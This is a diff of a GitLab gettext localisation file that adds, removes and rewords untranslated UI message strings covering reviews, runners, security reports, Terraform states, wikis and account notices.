@@ -22820,6 +23352,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22839,6 +23374,9 @@ msgstr[0] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -22908,6 +23446,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -22971,12 +23512,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23004,9 +23539,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23109,12 +23641,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23133,7 +23659,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23190,15 +23716,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23301,6 +23821,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23340,9 +23863,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23411,6 +23931,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23597,6 +24120,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23760,6 +24286,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -23877,9 +24409,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24222,12 +24751,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24270,21 +24793,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24303,6 +24835,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24399,9 +24934,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24456,13 +24988,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24490,6 +25025,9 @@ msgid "Showing %d event"
msgid_plural "Showing %d events"
msgstr[0] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24584,10 +25122,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24638,6 +25179,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24749,9 +25293,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24797,7 +25338,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -24878,10 +25419,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25163,10 +25707,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25190,6 +25734,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25307,9 +25854,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25469,6 +26013,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25637,6 +26193,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25646,6 +26205,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25694,6 +26256,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -25868,6 +26433,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26036,9 +26604,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26078,6 +26643,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26086,24 +26654,48 @@ msgid "Terraform|%{number} Terraform report was generated in your pipelines"
msgid_plural "Terraform|%{number} Terraform reports were generated in your pipelines"
msgstr[0] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26123,6 +26715,12 @@ msgstr[0] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26150,6 +26748,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26180,6 +26781,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26274,9 +26878,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26286,10 +26887,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26358,9 +26959,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26401,6 +26999,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26449,6 +27050,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26494,6 +27101,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26605,6 +27215,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26614,7 +27227,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26626,9 +27239,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26644,6 +27254,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26731,6 +27344,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27046,9 +27662,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27058,9 +27671,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27103,6 +27713,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27166,7 +27779,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27175,9 +27788,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27292,7 +27902,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27313,9 +27923,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27394,6 +28001,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27439,6 +28049,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27739,6 +28352,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27753,6 +28369,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -27888,7 +28507,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -27987,6 +28606,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28329,6 +28951,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28395,7 +29020,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28467,10 +29092,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28665,9 +29290,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28686,6 +29308,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28722,6 +29347,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28812,6 +29440,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -28959,6 +29590,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29016,6 +29653,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29061,6 +29701,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29091,6 +29734,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29127,6 +29773,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29169,15 +29818,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29247,7 +29896,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29324,6 +29973,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29381,6 +30033,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29474,9 +30129,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29582,6 +30234,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29630,10 +30288,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29648,6 +30303,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29672,6 +30330,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29801,6 +30462,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29816,6 +30480,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -29897,12 +30564,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -29958,7 +30631,13 @@ msgstr ""
msgid "Wiki"
msgstr "Wiki"
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30114,6 +30793,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30195,9 +30877,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30207,6 +30886,9 @@ msgstr "您"
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30252,6 +30934,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30411,6 +31096,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30453,6 +31141,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30531,6 +31222,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30615,9 +31312,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30660,13 +31354,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30696,9 +31387,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30717,6 +31405,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30741,6 +31432,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30753,6 +31447,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -30894,6 +31591,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -30942,6 +31642,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -30951,6 +31657,9 @@ msgstr ""
